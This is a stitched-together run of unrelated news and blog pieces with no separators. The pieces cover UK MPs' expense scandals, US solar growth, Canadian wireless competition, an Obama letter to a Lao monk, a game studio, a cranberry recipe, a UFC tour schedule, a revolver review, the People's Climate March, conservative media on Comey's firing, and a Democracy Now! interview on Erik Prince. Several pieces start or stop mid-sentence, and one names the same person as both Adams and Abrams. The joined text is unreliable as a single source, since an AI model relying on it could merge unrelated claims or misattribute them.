Reply: "I don't what the fuss is about."
Prospects: Not standing again. Faces losing whip if protests continue.
UNDER FIRE
Hazel Blears Labour MP for Salford
Offence: Did not pay capital gains tax when selling her London flat.
Reply: Paid back £13,332 to taxman.
Prospects: Behaviour described by Brown as "totally unacceptable".
Jacqui Smith Labour MP for Redditch
Offence: Claimed two adult movies, watched by her husband.
Reply: Apologised. Repaid money.
Prospects: At risk of demotion or move at the next reshuffle.
Tony McNulty Labour MP for Harrow East
Offence: Claimed about £60,000 on home where parents lived.
Reply: Rules not broken as did work at the property.
Prospects: May face police probe.
Margaret Moran Labour MP for Luton South
Offence: Claimed £22,500 to fix dry rot on home miles from constituency.
Reply: Initially defensive but now repaying the money.
Prospects: Labour investigating her.
Phil Hope Labour MP for Corby and East Northants
Offence: Claimed second homes allowance to kit out London flat.
Reply: Repaying £41,709.
Prospects: Set to lose marginal seat.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.The following is a fun graph I recently ran across on Wikipedia. It shows the completely explosive solar power growth that has occurred in California, Arizona, New Jersey, Nevada, and New Mexico since 2010. Different factors have been at play here. For one, the price of solar panels has come down dramatically. In some of these markets, 3rd-party solar that lets people go solar for $0 down or close to $0 down has been important. In California, it accounts for about 70–80% of the residential solar market. The SREC market in New Jersey has been big for stimulating growth there. No matter how you look at it, though, this is awesome:
Note that the data are for the years 2009–2012. Solar power leapt to new heights in 2013.
Image Credit: Plazak (CC BY-SA 3.0 license)
Don't forget to follow Solar Love on Facebook, Twitter, Google+, and/or RSS!! Do it for the sun.In a new twist in the hope for wireless competition in Canada, Quebec telecom operator Quebecor has expressed an interest in looking at struggling startup Mobilicity, according to a bank analyst.
Scotiabank analyst Jeff Fan says that Quebecor, owner of wireless operator Vidéotron, has signed a non-disclosure agreement with Mobilicity, which is currently under creditor protection.
It’s the first indication that the carrier might have an interest in operating outside Quebec. There was no comment from Quebecor.
Several other wireless firms have looked at Mobilicity, including Wind Mobile and U.S. carrier Verizon.
Industry Canada has twice refused Mobilicity's sale to big carrier Telus, saying that a purchase by a major carrier will decrease competition.
Mobilicity operates in Toronto, Ottawa, Calgary, Edmonton and Vancouver and has almost 180,000 cellphone customers. It bought spectrum in the 2008 auction, but Industry Canada has been cagey about whether it can retain its rights to the airwaves if it is sold.
Quebecor's interest in Mobilicity suggests it might be looking at offering wireless service on a national scale.
Auction of new spectrum dominated by big 3
Industry Minister James Moore has said he hoped this auction will help introduce new competitors to the Canadian wireless market, which is dominated by Telus, Rogers and Bell.
But hopes of developing a fourth major carrier were dashed yesterday when Wind Mobile announced it did not have the cash to pay for new spectrum and would not be bidding.
“Three companies control 90 per cent of the cellphone market in Canada — the cellphone market is broken,” said Steve Anderson, executive director of Openmedia.ca.
“The Canadians know that the government has said they will fix it, but it looks like you have to do much more.”
Vidéotron is among the eight qualified bidders for the 700 MHz wireless spectrum auction that began today.
The airwaves being auctioned off are the old analog TV spectrum and they are valuable for their ability to carry data for the next generation of telecom devices.
In addition to the big three telecom carriers, there are other regional carriers applying for spectrum, among them Vancouver’s Novus, Halifax’s Bragg Communications, Winnipeg’s MTS and John Bitove’s Feenix Wireless. Bitove was the founder of Mobilicity.
Vidéotron currently provides cable, internet and telecom services in Quebec, competing against Bell, Quebec’s dominant carrier.
A 2008 auction of wireless licences was rigged to promote new competitors but the three new entrants it encouraged will not participate this time around. Mobilicity is in creditor protection, Public Mobile has been sold to Telus and Wind backed out yesterday.For an entire morning last September, a young monk named Sengdao Oudomsinh stood outside his temple in Laos hoping to catch a glimpse of President Barack Obama.
Obama was passing through Sengdao’s tiny town of Luang Prabang during his final trip as president to Asia. And Sengdao, an 18-year-old monk, had fantasies of shaking the American president’s hand – or better yet, asking one of the many burning questions he had for Obama, whose speeches had inspired him from half a world away.
Sengdao came away disappointed that day, not realizing that Obama’s motorcade had taken another route through town. But last week, more than six months later, Sengdao got something even better: a personal letter from the former president offering words of advice, reflection and encouragement.
“Dear Novice Sengdao,” it began. “My staff let me know you had some questions that you had hoped to ask me during my recent visit to Laos...”
“I couldn’t believe it,” the young monk said during a Skype call from Laos. “It makes me admire him even more and want to look up to him as an example.”
As a reporter covering Obama’s trip, I ran into Sengdao at his temple on the day of Obama’s visit and wrote an article about him. We later learned the story had circulated from the U.S. Embassy in Laos to the State Department, eventually reaching the White House during Obama’s last months in office.
I recounted how Sengdao left his impoverished family’s rice farm as a boy to pursue a better life as a novice monk at a temple. He taught himself English by watching videos on YouTube and became fascinated with videos of Obama’s speeches. One speech in particular, he told me, had struck a nerve: Obama’s victory speech after winning reelection in 2012, in which he told a crowd in Chicago that no matter who you are or where you come from, “you can make it here in America if you’re willing to try.”
“He said, ‘In America, you can make it if you try,'” Sengdao said that day while we waited together for Obama’s motorcade. “I think it’s very true – but not always. I want to know if it’s true in Laos.”
The letter Sengdao received from Obama last week was dated Sept. 30, 2016, just three weeks after Obama’s visit. But U.S. Embassy staff were not able to deliver it until last Friday, when U.S. Ambassador Rena Bitter and two members of her staff traveled to Luang Prabang to hand Obama’s words to the young monk. Embassy staff confirmed the letter came from Obama, but said they couldn’t comment on it without State Department approval.
So far, Sengdao has told only few friends about the visit. He has shown the actual letter to even fewer people because of how precious it feels. “It’s not a secret, but it feels very personal and private that he would choose to write something to me. I don’t want to ruin that feeling,” Sengdao said. He emailed me a copy of the letter, but asked that it not be posted in full online.
Obama encouraged Sengdao to keep pursuing his dreams and dedicate himself to improving his own life and the lives of others. “The letter is an answer to all my questions,” Sengdao said. “He is like me, someone who started from nothing. It makes me think I can do that as well.”
For a long time, Sengdao’s dream has been to attend a university abroad, ideally in the United States. By studying abroad, he hopes to be able to help others by working for the United Nations or with international human rights organizations.
Last year, Sengdao applied to one of the only international scholarships for students in Laos – and was crushed to discover he missed the cut. But this year, after Obama’s visit, he applied again – attaching a copy of the article – and was one of a few chosen for final interviews.
The interview is coming up on Saturday, and Sengdao has spent the past few days reading and rereading Obama’s letter to him, hoping against the odds that the former president’s belief in him will be justified.
“He is a man of hope,” Sengdao said toward the end of our call. “And it makes me unique, I think, because now he has given these words of hope to me.”
Share
filed under:Share. Long term goal of creating an entirely new game. Long term goal of creating an entirely new game.
Former CEO of Crytek USA and Vigil Games founder David Adams is considering the possibility of reviving the Darksiders franchise with the recent establishment of a new independent studio, Gunfire Games.
Abrams left his position at Crytek USA three weeks ago amid rumors of financial problems at Crytek. Assisting with the development of Ryse: Son of Rome, the team were working on new free-to-play cooperative shooter Hunt: Horrors of the Gilded Age before making the difficult decision to walk away.
Exit Theatre Mode
The core of Crytek USA consisted of former members of Texas-based Vigil Games, a member of THQ’s family of developers when it was bought by the publisher in 2006. The Darksiders developer shuttered when THQ went bankrupt and was forced to sell off its assets and shut down unsold properties in 2013. Adams and two-thirds of Vigil joined the newly minted Crytek USA two days later.
Adams told Polygon that the possibility of returning to Darksiders was being explored by the studio and has approached Nordic Games, the current owner of the Darksiders IP.
"That is one of the options we are exploring," he said. "But we don't want to jump into something immediately. We want to weigh our options."
Nordic Games stated last year that, as a publisher, it would need to find the right creative team to develop a Darksiders project. Creative director Joe Madureira shared in May that Nordic seemed "very committed to continuing the series."
Currently, Gunfire Games is “looking at some smaller short-term deals to keep the guys working," with a long term goal of creating an entirely new game with elements Vigil was renowned for.
"We want to build upon what we've done on the past," he said. "Third-person, games with a lot of characters, adventure aspects, player progression, hunt cool bosses, fantastical creatures. We have some ideas kicking around."
Exit Theatre Mode
Jenna Pitcher is a freelance journalist writing for IGN. You can follow her often inappropriate outbursts on Twitter.As previously noted on these pages, I grew up a very picky eater. Believe me, my poor mama could tell some stories about it that would make you laugh and cry. Cranberries were definitely on my “Do Not Consume Under Any Circumstances List”. That’s DNCUACL for short or the sound that would emanate from my throat if someone forced me to eat them. Come on, they were dark red and shouldn’t that be proof enough they were as poisonous as beets?
Of course, the cranberries I was often served back then came from a can. I suppose this was a matter of convenience as cranberries always seemed to be the side dish people remembered at the very last minute—like the moment we started carving the bird.
I recall watching Mom pop the top of the can with her electric can opener and then inverting it over a bowl. They never slid right out, either. She’d always have to encourage them. She’d do this funky little dance, shake them real hard, and then this slimy looking red mass would slowly ooze out with a plop—a lot like the dog food we’d feed Satchmo, our Boxer. The thing I just couldn’t wrap my head around was why anyone would be tempted to eat anything that looked that awful in the first place.
Fortunately, these days I’m surrounded by people who love to cook and most of them do things from scratch. Since I was so picky to begin with, I’m not sure if that might have helped me be less picky as a youngster, but now it makes all the difference in the world. Such was definitely the case with cranberries, which I now see as a delightful addition to a variety of foods.
In truth, had it not been for my wife and her insistence that cranberries should always be prepared from scratch things might not have changed for me. For that, I owe her a huge debt of gratitude—thanks honey! Here then is Carol’s Cranberry Relish—a recipe I’ve come to relish (sorry, I couldn’t resist).
Let’s Gather Our Ingredients
1 bag (12 ounces) fresh cranberries
1-1/2 cups sugar
1/4 cup water
1/2 cup 100% orange juice (bottled or fresh squeezed)
1 tablespoon orange zest
2 tablespoons Triple Sec (optional)
Preparation
This recipe goes together so fast and easy it’s definitely worth trying in place of a can.
If you plan to used fresh squeezed orange juice, this is the place to start. However, first grate your oranges to get your zest. Believe me, this is much easier than trying to zest half a peel that’s already been squeezed. Also, if you want a tip for finding the best oranges in the store, simply lift and compare two oranges side by side. The heavier ones tend to have the most juice.
Next, rinse the cranberries and then put them in a large fry pan over medium heat.
Now, add the rest of your ingredients (i.e. the sugar, water, orange juice and orange zest). See picture below.
For a super secret extra touch, you can also add Triple Sec (the orange flavored liqueur). This isn’t a requirement, but I think it adds that”special little something extra” that will leave your guests clamoring for more.
Stir everything and then allow the mixture to reduce. Cover with a splatter screen. You basically want the liquid to gently boil off. This process usually takes about 8 to 12 minutes and you’ll know you’re done when the cranberries”pop” and the mix thickens noticeably.
Allow to cool and serve with turkey or as a wonderful relish for sandwiches, casseroles, appetizers, etc. Really there are no limits, for once you try this you’ll be as crazy about cranberries as I am.
Enjoy!
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The tour will begin in Denver, Colo., the site of UFC 1, on Oct. 28, and make stops in nearly two dozen cities. Current and past UFC competitors such as Georges St-Pierre, Johny Hendricks, Chuck Liddell, Matt Hughes and Forrest Griffin are just some of the many stars set to participate. The tour will feature a mixture of fan, media and sponsor events, as well as a social media scavenger hunt spanning the globe.
“We built an incredible card for our 20th anniversary and now we’re hitting the road to celebrate with our fans and the media all across North America,” said UFC president Dana White. “We’re going to cities that held historic UFC events and to locations we hope to bring the Octagon to soon.”
The 20 Days to UFC 167 Tour will also feature the launch of UFC’s new OCTAGON apparel line. UFC legends Liddell, Hughes and Griffin will be wearing this new apparel at each stop, as UFC showcases the “Evolution of Training” gear.
NCM Fathom Events and UFC will also bring UFC 167: ST-PIERRE vs. HENDRICKS to the big screen. Fight fans will get a front-row view of all the pulse-pounding action at over 350 select movie theatres nationwide. Additionally, fan will have the opportunity to watch the event live with select fighters at participating movie theatres.
UFC® 167: ST-PIERRE vs. HENDRICKS will be available live on Pay-Per-View at 10 p.m. ET/7 p.m. PT on Saturday, Nov. 16 on UFC.TV, iN DEMAND, DirecTV, DISH Network, Avail-TVN, and in Canada on BellTV, Shaw Communications, Sasktel, and Viewer’s Choice Canada.
20 Days to UFC 167 Schedule
• Monday, Oct. 28 – Denver, Colo. – UFC 167 lightweight star Donald “Cowboy” Cerrone and rising women’s star Cat Zingano conduct a media tour in Denver, the site of UFC 1. They’ll also visit DISH Network headquarters for a meet-and-greet with staff, as well as pose for photos at the site of UFC 1, formerly McNichols Sports Arena. Later in the day, Cerrone will host a live social media chat from the MusclePharm facilities.
• Monday, Oct. 28 – Montreal, Quebec, Canada – Georges St-Pierre, UFC welterweight champion and UFC 167 main event star, will participate in a media day at Tristar Gym. Press only.
• Monday, Oct. 28 – Dallas/Fort Worth, Texas – UFC welterweight contender and UFC 167 main event star Johny Hendricks will participate in a media day at his gym in Pantego. Press only.
• Tuesday, Oct. 29 – Philadelphia, Pa. – UFC Hall of Famer Forrest Griffin will conduct a press tour in the City of Brotherly Love, as well as visit the Comcast Headquarters for a meet-and-greet with employees.
• Tuesday, Oct. 29 – Chicago, Ill. – UFC Hall of Famer Matt Hughes will conduct a press tour across Chicago. Hughes will also meet with members of the Chicago Bears.
• Wednesday, Oct. 30 – Atlanta, Ga. – UFC Hall of Famer Forrest Griffin will conduct a press tour in Atlanta and visit the COX Communications corporate offices for a social media promotion. He’ll also visit the Hooters corporate headquarters.
• Wednesday, Oct. 30 – Cleveland, Ohio – UFC Hall of Famer Matt Hughes will conduct a press tour across Cleveland, alongside UFC heavyweight star and Cleveland native Stipe Miocic. The fighters will also meet with members of the Cleveland Browns.
• Thursday, Oct. 31 – Detroit, Mich. – Red-hot UFC welterweight star Matt “The Immortal” Brown will conduct a press tour in Detroit.
• Friday, Nov. 1 – Raleigh, N.C. – UFC heavyweight star Brendan Schaub, a former professional football player, will speak to the N.C. State football team prior to the team’s game against rival UNC. He’ll also sound the Carolina Hurricanes’ Warning Siren before the team’s game against Tampa Bay
at PNC Arena.
• Saturday, Nov. 2 – Concord, Calif. – UFC heavyweight star Daniel Cormier and middleweight star Luke Rockhold will sign autographs from 1-3 p.m. PT at the UFC Gym in Concord.
• Sunday, Nov. 3 – Rosemead, Calif. – UFC middleweight star Michael Bisping will sign autographs from 3-5 p.m. PT at the UFC Gym in Rosemead.
• Monday, Nov. 4 – San Francisco, Calif. – UFC 167 welterweight star Josh Koscheck will conduct a press tour in San Francisco.
• Monday, Nov. 4 – Bay Area, Calif. – UFC lightweight star Gilbert Melendez will visit the campuses of YouTube and Twitter and meet with staff.
• Tuesday, Nov. 5 – St. Louis, Mo. – UFC 167 welterweight star Tyron Woodley, a St. Louis native, will conduct a press tour in his hometown. Fans are invited to join him at ATT Evolution Gym, 9751 Manchester Rd., Rock Hill, MO; at 12:30 pm for a special autograph and Q&A session. Woodley will also meet with members of his hometown St. Louis Rams.
• Tuesday, Nov. 5 – St. Louis, Mo. – UFC Hall of Famer Matt Hughes will visit the headquarters of longtime UFC partner Anheuser-Busch. While at Anheuser-Busch Headquarters, Matt will be guided through a behind-the-scenes tour of the Brew House and Packaging Line, sampling from the fermentation and finishing tanks.
• Tuesday, Nov. 5 – FOX Sports 1 – 9 p.m. ET - FIGHTING FOR A GENERATION: 20 YEARS OF THE UFC premieres
• Wednesday, Nov. 6 – New Orleans, La. – UFC heavyweight star and Louisiana native Daniel Cormier will conduct a press tour in New Orleans. He’ll also meet with members of the New Orleans Saints.
• Wednesday, Nov. 6 – Fort Campbell, Ky. – UFC Fight for the Troops event on FOX Sports 1
• Thursday, Nov. 7 – San Antonio, Texas – UFC heavyweight star Daniel Cormier will visit troops at the Brooks Army Medical Center, while Mexican bantamweight star Erik Perez will conduct a media tour in San Antonio.
• Thursday, Nov. 7 – State College, Pa. – UFC light heavyweight star and 2008 National Champion from Penn State Phil Davis visits State College for a press tour.
• Friday, Nov. 8 – Pittsburgh, Pa. – UFC light heavyweight star Phil Davis will conduct a press tour in Pittsburgh, Pa. and meet with members of the Pittsburgh Steelers.
• Saturday, Nov. 9 – Torrance, Calif. – UFC Hall of Famer Chuck Liddell will sign autographs from 3-5 p.m. PT at the UFC |
125-grain JHP loads in my circa-1973 Models 40 and 42. Neither has worn out yet despite my best efforts, but I have two more new-in-the-box that I bought back then just in case…
Range Report
Speaking of shooting, the Model 40 genre has always had an action that differs from the double-action (DA) movement of the exposed-hammer J-frames. I find the trigger action to be longer in its rearward movement, and as it moves, the cylinder indexes well before the hammer completes its rearward movement and releases. I don’t have an explanation for this and I’ve asked some of the S&W folks, who say the actions are the same. Be this as it may, I can shoot the Model 40 better than I do the exposed-hammer guns.
This longer action also lends itself well to a two-stage DA trigger pull. To do this, I grip the gun such that my trigger finger hits the frame just as the cylinder is indexed and before the hammer is released. I then slide my trigger finger rearward while catching part of my finger between the trigger and the frame, in effect squeezing my finger out of the way with rearward pressure. This effectively gives me a sort of long, single-action trigger press, with much better accuracy. This is how I shot the accompanying target photo. Arguably, this is more trick than practical, but having mastered this, I’ve increased my ability to get good hits at otherwise-prohibitive distances.
Conversely, for defensive shooting the best method, for me, is pulling the trigger with steadily increasing pressure until the shot breaks and then riding the trigger forward at the same speed until the action resets. This metronome motion gives me the path to fast, accurate shooting because this practiced motion carries over when pressing the trigger quite quickly, with less overall gun movement.
I took the Model 40-1 to the range and reached this conclusion: My sample Model 40-1, like all J-frame S&Ws, features the inherent accuracy that well exceeds what most folks can deliver. Shooting from a rest and with good trigger control and sight alignment, along with good ammo, a J-frame’s accuracy equals any S&W revolver.
I placed five Gold Dots in a 2.25” group at 18 yards indoors with the Model 40-1.
Final Thoughts
If you’ve followed the articles written about the Model 40-1, you might conclude this gun has been a long-time winner because its ancestor, the S&W.38 Safety Model hammerless revolver, was introduced in 1887. I think not, however. At least not in the sense of being a best seller, for its predecessors (and the Model 40 itself) have been repeatedly discontinued and then re-introduced over the years. Indeed, the Model 40-1 has already been re-retired.
The reality: The Model 40 genre was and remains a specialty handgun that has never outsold the more-traditional S&W J-frame versions, which embody both single-action (SA) as well as DA-only (DAO) triggers. This is not to say the Model 40 genre is not optimum for its purpose, which is up-close personal self defense against two-legged predators. The problem is that a DAO small-frame revolver is simply more difficult to learn to shoot well than an SA/DA J-frame, and retaining this ability requires at the least episodic practice.
So, when you buy and decide to carry the Model 40, you have taken a non-ambivalent stance. The Model 40 in its various incarnations allows no room for rationalization of user ability nor denial of the gun’s singular purpose: self defense against a predator. You must decide to either practice and gain the skill necessary to shoot it well, or resign yourself to only muzzle-contact use.
If we accept the above, why do many of us continue to buy and carry the Model 40 or its various permutations? Simple: Because it’s the best tool for the job when social and legal constraints preclude using a larger arm.
Walt Rauch received a BS degree from Carnegie Tech and completed service as a Special Agent in U.S. Army Intelligence. Rauch was a U.S. Secret Service Special Agent and a Philadelphia, Pa., Warrant Unit Investigator. He now operates a consulting company for defense-weapon and tactical training. Rauch & Company services include expert witness testimony on firearms use and tactics.
Rauch is also a writer and lecturer in the firearms field. He’s published in national and international publications including InterMedia’s Handguns, several Harris Publications specialty magazines, Police and Security News and Cibles (France). He is the author of a book on self-defense, Real-World Survival! What Has Worked For Me, as well as Practically Speaking, a comprehensive guide to IDPA defensive pistol shooting.
The Specs
Caliber Capacity BBL OAL Weight.38 Special,.38 Special +P 5 1.875″ 6.3125″ 21 oz. empty
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Search for this pistol at GunBroker.com or FirearmsLocator.com.NEW YORK - They’re calling it the largest mobilization against climate change in the history of the planet. Hundreds of thousands of demonstrators of all ages and from around the world turned out for the massive People’s Climate March Sunday, filling the streets of midtown Manhattan with demands for global leaders take action to avert catastrophic climate change.
Crowds gathered with banners, flags and floats around Columbus Circle late Sunday morning as music and chants rang out at the start of the march. At exactly 12:58 p.m., demonstrators held a moment of silence in honor of the victims of climate change, followed by a cacophony of noise with drums, cheers and horns to sound the alarm to the crisis.
Organizers estimate that as many as 310,000 demonstrators turned out for the march, though police won’t comment, telling msnbc they don’t release crowd numbers. The crowds were so massive that by mid-afternoon, organizers said they were asking people to disperse and cut the march short by nearly ten street blocks.
“The general public does care, and here we are.” 350.org executive director May Boeve
Many of the protesters at the New York march came from far-flung countries around the globe, including China, India, Senegal, Zimbabwe, Turkey, and South Africa. Kathryn Leuch, an activist from the Philippines, said she was participating in the People’s Climate March because of what global warming could do to her homeland.
“People in the Philippines are part of the most impacted and vulnerable to climate change,” she said. If humanity keeps burning dangerous amounts of carbon, she said, the result could be more extreme weather events on par with Typhoon Haiyan, which killed thousands of thousands of people in the Philippines and the surrounding area in 2013.
Marchers from much closer by also said they had experienced the effects of climate change and pollution firsthand. A group of young environmental activists from Newark, N.J., said they had joined the march because of how industrial waste was already blighting their community.
view photo essay People's Climate March draws massive crowd Protesters from all over the U.S. and the world are converging on Manhattan to demand that global leaders take action to avert catastrophic climate change.
Following the march, activists plan to stage Flood Wall Street, a massive sit-in Monday morning to take the climate crisis to the home of the Occupy Wall Street movement. Eric Verlo, an Occupy Denver activist who came from Colorado to join the march and participate in Flood Wall Street, said the goal is to confront the Financial District with the possibility that rising sea levels could flood Lower Manhattan. The protest will occur without a permit, making arrests likely.
“We’re also hopeful that not, the authorities will get wise and figure out that they can try to minimize the message by not arresting people,” said Verlo. “Because all we want is to get the message out, and we can get the message out either way.”
The march through Manhattan, spanning roughly two miles down to 11th Avenue and 34th Street, adds to nearly 3,000 other climate events across the globe.
“Not only will it be the largest climate march that’s ever happened, but it really represents a new kind of movement that’s much more diverse,” said 350.org executive director May Boeve. “Climate change has been something of a siloed issue for a long time, but I think that’s really changed, and that’s a good thing. More and more people are seeing how climate change affects them.” Close video Largest climate change rally takes over New York City Alex Witt talks to MSNBC Reporter Ned Resnikoff who is following the People’s Climate March in New York, just one of the rallies taking place in 162 countries Sunday. share tweet email save Embed
The march takes place just days before the United Nations’ 2014 Climate Summit at its headquarters in Midtown Manhattan. U.N. Secretary General Ban Ki-moon said in a statement Sunday that he hoped leaders would take action and that the march’s message would be reflected at the summit.
“While marching with the people, I felt that I had become a secretary-general of the people,” he said. “There is no Plan B because we do not have a planet B. We have to work and galvanize our action.”
The Riverside Church, which has long been a fixture of social justice activism in New York, is one of the institutions participating in the march. In addition to the dozens of church members who are participating in the rally, Riverside will also host roughly 80 activists from Florida, Colorado and Texas, according to lay leader Beth Ackerman. Explaining the church’s involvement in the march, she described climate change as “the social justice issue of the day.”
“More and more people are seeing how climate change affects them.” 350.org executive director May Boeve
“Island nations who are resource poor are losing their entire homes, and we hope that the UN is going to take their plight very seriously,” she said. “And of course, they weren’t the ones who were burning all the fossil fuels that got us into the climate change problem in the first place.”
Vulnerable populations also exist a little closer to home. The climate march included a substantial contingent of New York residents who live in the Far Rockaway section of Queens, one of the places hardest hit by Hurricane Sandy. One of those marchers was Danielette Horton, a resident of one of the Far Rockaway housing projects in the path of the hurricane.
“The community was devastated. We had to walk around with flashlights because all the lights were gone and there was no food,” she said. “We had to get food from handouts. And it was the first time for people in the area, they had never experienced a storm like that.”
Without decisive action to prevent further climate change and protect Far Rockaway, she predicted that it would not be the last time that she and her neighbors experienced such a storm.
Whatever happens this week, real UN treaties will have to wait a year. Although attendees of Tuesday’s climate summit will discuss the risks of climate change and some possible remedies, the 2015 Climate Change Conference in Paris, France is where leaders are hoping to stamp out a binding agreement. In the meantime, the organizers of the People’s Climate March are hoping their rally will demonstrate that popular momentum is on the side of the ambitious action.
“What we hear when we’re meeting with elected leaders about this issue is that it’s fine that you’re meeting with us, but the general public doesn’t care about this issue,” said Boeve. The march, she said, is about saying, “No, the general public does care, and here we are.”
“The 99 percent, if you will, of people are not in power. They might not have power, they might not have money, but they have a voice,” said Ackerman. “But they won’t have a strong voice unless massive amounts of them get together.”President Donald Trump's allies in conservative media sought to characterize former FBI Director James Comey as a political hack not fit to lead the nation's top law enforcement agency after the president abruptly fired him on Tuesday.
"James Comey... is a national embarrassment. It's that plain, it's that simple," Fox News host Sean Hannity said during a fiery monologue on his television show Tuesday night. "And frankly, he's very lucky President Trump kept him around this long."
Hannity, who spent much of Wednesday morning tweeting out comments in support of the Comey firing, was far from alone in his animosity toward the former FBI director.
Related: How front pages are playing the Trump-Comey news
Conservative talk radio host Mark Levin called Comey a "drama king" and agreed that Trump was right to fire him. Fox Business Network host Lou Dobbs said he was guilty of "aggravating, petty nasty partisan ignorance." And Fox News legal analyst Judge Andrew Napolitano said Comey "demeaned" the FBI's work and "undermined their integrity."
"It was about time that Justice Department recommended his removal," echoed Laura Ingraham, a talk radio host who was once said to be under consideration for Trump's White House press secretary.
Breitbart, the far-right website previously led by White House chief strategist Steve Bannon, went further. Matthew Boyle, the outlet's Washington editor, contended that the "shocking decision" reflected "the latest in a political outsider's crusade against entrenched Washington."
Boyle, who suggested the firing of Comey was a fulfillment of Trump's promise to "shake up" Washington, wrote that the "unusual move" had just "drawn the usual critics against Trump from the media, Democratic Party and even those inside his own GOP."
Meanwhile, the Fox News website, part of the network's hard news operation, went on the offensive against the left. It attempted to frame Democrats as hypocrites for not supporting Trump's decision after leveling previous criticism against Comey.
"DEMS DO 180 ON COMEY," blared the Fox News homepage's banner headline, "Schumer, others blast Trump for firing FBI boss they once ripped."
Related: Day after Comey firing, Sean Spicer to miss White House briefing
Fox News' website also featured a slew of headlines supportive of Trump's decision, including one highlighting Republican Sen. Chuck Grassley's "suck it up and move on" comments aimed toward members of the media.
Comey was not even safe in the "Never Trump" faction of conservative media. The National Review featured a story by Andrew McCarthy prominently on its website that made the "bipartisan case" against him.
It should come as no surprise that Trump's allies in conservative media flooded the airwaves and web with news and commentary supportive of Trump's decision.
Throughout Trump's first 100 days in office, the conservative news media has been largely loyal to the Republican president. While at times various actors have expressed some disagreement, most members of the conservative news media have, in general, used their platforms to amplify his talking points.This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: The United Arab Emirates has confirmed hiring a company headed by Erik Prince, the billionaire founder of Blackwater. According to the New York Times, the UAE secretly signed a $529 million contract with Prince’s new company, Reflex Responses, or R2, to put together an 800-member battalion of mercenaries.
Documents show the force is intended to conduct special operations missions inside and outside the country, defend oil pipelines and skyscrapers from attacks, and put down internal revolts. The troops could be deployed if foreign guest workers stage revolts in labor camps, or if the UAE regime were challenged by pro-democracy protests like those sweeping the Arab world. One contract document describes, quote, “crowd-control operations” where the crowd “is not armed with firearms but does pose a risk using improvised weapons (clubs and stones).”
The UAE is a close ally with the United States, and it appears the deal has received the Obama administration’s support. One U.S. official told the Times, quote, “The gulf countries, and the U.A.E. in particular, don’t have a lot of military experience. It would make sense if they looked outside their borders for help. They might want to show that they are not to be messed with.”
News of the deal also comes just weeks after the UAE’s Crown Prince, Mohammed bin Zayed Al Nahyan, visited President Barack Obama at the White House late last month. A White House statement said Obama and the Crown Prince would discuss, quote, “the strong ties between the United States and the U.A.E. and our common strategic interests in the region.”
A number of U.S. citizens, including former Blackwater employees, have occupied senior positions in the operation. Legal experts have questioned whether those involved might be breaking federal laws prohibiting U.S. citizens from training foreign troops if they did not secure a license from the U.S. Department of State. The force is reportedly made up of Colombians, South Africans and other foreign troops. Prince reportedly has a strict rule against hiring any Muslims because he’s worried they could not be counted on to kill fellow Muslims.
Prince himself now lives in the United Arab Emirates after moving their last year under a cloud of legal controversy here in the United States. The UAE deal is the first to emerge publicly since Prince sold Blackwater and suggested he would leave the private military business behind.
For more, we’re joined by independent journalist, Democracy Now! correspondent, Nation writer, Jeremy Scahill, author of the award-winning bestseller Blackwater: The Rise of the World’s Most Powerful Mercenary Army. Jeremy was the first journalist to report on Prince’s move to the United Arab Emirates, two months before it was publicly confirmed.
Welcome to Democracy Now!, Jeremy.
JEREMY SCAHILL: Thank you.
AMY GOODMAN: Talk about the significance of this mercenary army that Prince is setting up for the UAE.
JEREMY SCAHILL: Well, when Erik Prince decided to move to the United Arab Emirates, he gave an interview to a former CIA employee in Vanity Fair in which he said that he was going to be leaving the soldier of fortune business and said he wanted to go and teach high school, and he said, you know, “I’ll teach history. Even Indiana Jones was a teacher.” Well, it’s true that Indiana Jones was a teacher, but he also was an anti-mercenary. In fact, in a famous scene in the movie, Indiana Jones, Raiders of the Lost Ark, his archnemesis, Belloq, who’s working for the Nazis, accuses Indiana Jones of giving a bad name to mercenaries. So, Erik Prince, rather than pursuing that path, has actually pursued the path of the mercenary.
And when he moved to the United Arab Emirates, he said he did so because it was a free society and a country that respected the free market. Well, it didn’t take long for him to get down to business with the Crown Prince of Abu Dhabi, and essentially hatched a plot to build up a mercenary army within the borders of the UAE, relying on labor from Colombia. Blackwater has a long history of working with Colombians. In fact, Blackwater paid Colombians $34 a day to operate in Iraq. And when the Colombians protested their payment, saying that they were getting less than the Bulgarians or the others that were working for Blackwater, the white soldiers, Blackwater threatened them, according to the Colombians, and wouldn’t give them their passports back and said, you know, “We’re just going to release you onto the streets of Baghdad.” And eventually the Colombians left, and they went and they assassinated the recruiter that had hired them for Blackwater. So it’s ironic that Prince is using the Colombians. Now their pay has been increased to something like $150 a day.
And the purpose of this force, as stated in the corporate documents and in the New York Times, is to deal primarily with the internal situation in the United Arab Emirates. Anyone who’s been to the UAE knows that the economy is entirely fueled by migrant workers, people from the Philippines or from Pakistan or Bangladesh. And they live in these camps, and their conditions are not good, to say the least. So, one of the concerns seemed to be that unrest could spread in those camps, and they didn’t want to use UAE forces to quell those rebellions, but instead send in Erik Prince’s.
The other thing, Amy, that I think is significant about this — and we reported on this on Democracy Now! a year ago — Erik Prince gave a speech in late 2009 in which he talked about the rising influence of Iran in the Middle East and talking about how the Iranians were fanning the flames of Shia revolt. The regime in Bahrain has used the justification to crack down on protesters that they’re agents of Iran or that they’re being influenced or supported by Iran. And Prince essentially came up with a plan, in front of this military audience, for the United States to advocate quietly sending in — this is in late 2009 — quietly sending in private forces, run by Americans or other Westerners, into countries in that region with the express purpose of confronting Iranian influence. We now know that part of the UAE’s arrangement with Erik Prince was aimed precisely at that. So this seems like it’s been something in the works for some time.
I spoke to Representative Jan Schakowsky earlier this week, who of course is on the Permanent Select Committee on Intelligence and has been the most ferocious congressional critic of Blackwater. And she’s raising some very serious questions about whether Erik Prince obtained the necessary license to export these types of services to a foreign country. You have to have a license, what’s called an ITAR license, from the State Department that says, hey, this former Navy SEAL, who has had access to top-secret information from the United States, actually is authorized to conduct these services. Blackwater has been fined in the past millions and millions of dollars by the Justice Department for not obtaining those kinds of licenses. So, it could be, if he didn’t obtain these licenses, that he is actually breaking U.S. law in providing these services to the UAE.
AMY GOODMAN: And what about other U.S. Americans going over there?
